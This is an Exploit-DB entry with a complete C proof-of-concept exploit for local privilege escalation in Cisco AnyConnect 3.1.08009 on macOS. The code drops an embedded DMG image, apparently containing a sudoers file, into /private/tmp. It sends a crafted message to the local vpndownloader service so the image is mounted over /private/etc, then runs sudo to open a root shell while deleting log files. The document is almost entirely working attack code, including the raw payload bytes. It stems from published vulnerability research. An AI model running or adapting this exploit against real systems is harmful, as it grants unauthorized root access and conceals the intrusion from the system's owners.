Exploit-DB #38303
Description: Cisco AnyConnect 3.1.08009 - Local Privilege Escalation (via DMG Install Script)
Type: local
Platform: osx
Date: 2015-09-23
Author: Yorick Koster

Exploit:
/* Cisco AnyConnect elevation of privileges via DMG install script - proof of concept
   Yorick Koster, July 2015
   https://securify.nl/advisory/SFY20150701/cisco_anyconnect_elevation_of_privileges_via_dmg_install_script.html
   based on http://expertmiami.blogspot.com/2015/06/cisco-anyconnect-secure-mobility-client.html
*/
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <uuid/uuid.h>

#define DMG_PATH   "/private/tmp/sudoers.dmg"
#define MOUNT_POINT   "/private/etc"
#define EXEC_PATH   "/opt/cisco/anyconnect/bin/vpndownloader.app/Contents/Resources/install-dmg.sh"
#define EXEC_ARGS   DMG_PATH " -owners on -mountpoint " MOUNT_POINT
#define CMD_TO_EXEC   "sudo -s -- 'hdiutil eject -force /private/etc;rm -rf /private/tmp/[0-9]*.log;su -'"

extern unsigned char _private_tmp_sudoers_dmg[];
unsigned int _private_tmp_sudoers_dmg_len = 27052;

int main(int argc, char *argv[], char *envp[])
{
   char *path = EXEC_PATH;
   char *args = EXEC_ARGS;
   int fd;
   int sockfd;
   struct sockaddr_in servaddr;
   char *buf;
   unsigned int len;
   unsigned int offset = 0;
   uuid_t uuid;
   
   if((fd =creat(DMG_PATH, 0644)) == -1)
   {
      perror("creat");
      return 1;
   }
   
   if(write(fd, _private_tmp_sudoers_dmg, _private_tmp_sudoers_dmg_len) != _private_tmp_sudoers_dmg_len)
   {
      perror("write");
      close(fd);
      unlink(DMG_PATH);
      return 2;
   }
   
   close(fd);
   
   len = 10 + strlen(path) + strlen(args);
   if((buf = (char *)malloc(len + 26)) == NULL)
   {
      perror("malloc");
      unlink(DMG_PATH);
      return 3;
   }
   
   /* header */
   buf[0] = 0x4f;
   buf[1] = 0x43;
   buf[2] = 0x53;
   buf[3] = 0x43;
   buf[4] = 0x1a;
   buf[5] = 0x00;
   buf[6] = len & 0xFF;
   buf[7] = (len >> 8) & 0xFF;
   uuid_generate(uuid);
   memcpy(buf + 8, uuid, 16);
   offset = 24;
   buf[offset] = 0x01;
   buf[offset + 1] = 0x02;
   
   /* path */
   buf[offset + 2] = 0x00;
   buf[offset + 3] = 0x01;
   buf[offset + 4] = 0x00;
   buf[offset + 5] = (strlen(path) & 0xFF) + 1;
   offset += 6;
   memcpy(buf + offset, path, strlen(path) + 1);
   offset += strlen(path) + 1;
   
   /* args */
   buf[offset] = 0x00;
   buf[offset + 1] = 0x02;
   buf[offset + 2] = 0x00;
   buf[offset + 3] = (strlen(args) & 0xFF) + 1;
   offset += 4;
   memcpy(buf + offset, args, strlen(args) + 1);
   
   sockfd = socket(AF_INET, SOCK_STREAM, 0);
   bzero(&servaddr, sizeof(servaddr));
   servaddr.sin_family = AF_INET;
   servaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
   servaddr.sin_port = htons(29754);
   
   if(connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) == -1)
   {
      perror("connect");
      unlink(DMG_PATH);
      free(buf);
      return 4;
   }
   
   if(write(sockfd, buf, len + 26) == -1)
   {
      perror("write");
      unlink(DMG_PATH);
      free(buf);
      return 5;
   }

   close(sockfd);
   sleep(5); // arbitrary sleep
   system(CMD_TO_EXEC);
   unlink(DMG_PATH);
   free(buf);
   return 0;
}

unsigned char _private_tmp_sudoers_dmg[] = {
0x78, 0x01, 0xed, 0xd0, 0x41, 0x0a, 0x01, 0x01, 0x18, 0x05, 0xe0, 0x57,
0x4e, 0x30, 0x3b, 0x4b, 0x4b, 0x4b, 0xce, 0x40, 0x28, 0x4b, 0x17, 0x18,
0x65, 0x92, 0x26, 0x36, 0x0e, 0xe0, 0x06, 0xae, 0xa1, 0x26, 0xc5, 0xca,
0x15, 0xdc, 0x45, 0xca, 0x15, 0x28, 0xb3, 0xb1, 0x73, 0x80, 0xef, 0xdf,
0xbc, 0xff, 0xd5, 0x5b, 0x7d, 0x59, 0x4c, 0x66, 0x49, 0x53, 0x34, 0x45,
0x06, 0xd5, 0xe8, 0x79, 0xbe, 0x4c, 0x0f, 0xf7, 0x63, 0xa7, 0x9c, 0xdf,
0x5e, 0xf5, 0xee, 0x31, 0xbe, 0x76, 0xfb, 0xf9, 0xde, 0x69, 0xd8, 0x3e,
0x6d, 0xac, 0xb2, 0xc9, 0x3e, 0x75, 0x7a, 0x9f, 0xdc, 0x66, 0x99, 0x75,
0xaa, 0xdf, 0x81, 0x46, 0x80, 0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20,
0x40, 0x80, 0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x00,
0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x00, 0x01, 0x02, 0x04,
0x08, 0x10, 0x20, 0x40, 0x80, 0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20,
0x40, 0x80, 0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x00,
0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x00, 0x01, 0x02, 0x04,
0x08, 0xfc, 0x2d, 0xf0, 0x06, 0xbc, 0xb0, 0x11, 0x82, 0x78, 0x01, 0xed,
0xd0, 0x81, 0x00, 0x00, 0x00, 0x00, 0xc3, 0xa0, 0xf9, 0x53, 0x1f, 0xe4,
0x85, 0x50, 0x61, 0xc0, 0x80, 0x01, 0x03, 0x06, 0x0c, 0x18, 0x30, 0x60,
0xc0, 0xc0, 0xcb, 0xc0, 0x00, 0x0c, 0x00, 0x00, 0x01, 0x78, 0x01, 0x73,
0x75, 0xf3, 0x54, 0x08, 0x70, 0x0c, 0x0a, 0x61, 0x60, 0x60, 0x64, 0x88,
0x61, 0x60, 0x60, 0x38, 0x28, 0xba, 0xff, 0x1b, 0x90, 0x62, 0x38, 0x69,
0x08, 0x22, 0x41, 0xa2, 0x10, 0xa0, 0x04, 0xa5, 0x57, 0x40, 0xc5, 0xcf,
0xfc, 0xba, 0xd5, 0x77, 0xb6, 0x56, 0xdf, 0x6b, 0xf1, 0x75, 0x51, 0x8d,
0x53, 0xc2, 0x26, 0x92, 0x2b, 0xa1, 0xe2, 0x0d, 0x40, 0x75, 0x20, 0xbc,
0x53, 0x6d, 0xe9, 0x47, 0x20, 0x35, 0x0a, 0x06, 0x79, 0x08, 0x00, 0x00,
0x8b, 0xa0, 0x13, 0x2b, 0x78, 0x01, 0x63, 0x60, 0x18, 0x05, 0xa3, 0x21,
0x30, 0x1a, 0x02, 0xa3, 0x21, 0x30, 0x1a, 0x02, 0xa3, 0x21, 0x30, 0x1a,
0x02, 0xa3, 0x21, 0x30, 0x1a, 0x02, 0xa3, 0x21, 0x30, 0x1a, 0x02, 0x23,
0x25, 0x04, 0x3c, 0xb4, 0x19, 0x58, 0x1a, 0x18, 0x14, 0x19, 0x3c, 0xdc,
0x82, 0xbd, 0x18, 0x18, 0xd8, 0xf4, 0x2e, 0xee, 0xdc, 0x5f, 0x76, 0x71,
0xe7, 0xe2, 0x70, 0x90, 0xff, 0x81, 0x74, 0x18, 0x90, 0x62, 0x86, 0x60,
0x01, 0x20, 0xc5, 0x66, 0xc0, 0xc0, 0xc0, 0x5a, 0x0c, 0x52, 0xc7, 0xc0,
0x08, 0xe4, 0x82, 0x30, 0x03, 0x83, 0x24, 0x03, 0x03, 0x0b, 0x0b, 0x98,
0x05, 0x13, 0x81, 0x72, 0x90, 0xa9, 0xb5, 0x1b, 0xea, 0x66, 0x95, 0x87,
0xdd, 0xfb, 0x06, 0x11, 0x03, 0x99, 0x05, 0xc2, 0x70, 0x53, 0x20, 0x26,
0x41, 0x24, 0x49, 0x27, 0x19, 0x81, 0xce, 0x62, 0x38, 0x00, 0xd2, 0x27,
0x0c, 0xc4, 0xcd, 0x50, 0x1a, 0xc4, 0x27, 0x0f, 0xa0, 0x98, 0xc7, 0x18,
0x03, 0x34, 0x04, 0x64, 0x2e, 0xf9, 0x80, 0x51, 0x01, 0x16, 0x32, 0x42,
0x40, 0x43, 0xa6, 0x01, 0x31, 0x88, 0x1e, 0x05, 0xa3, 0x21, 0x30, 0xe0,
0x21,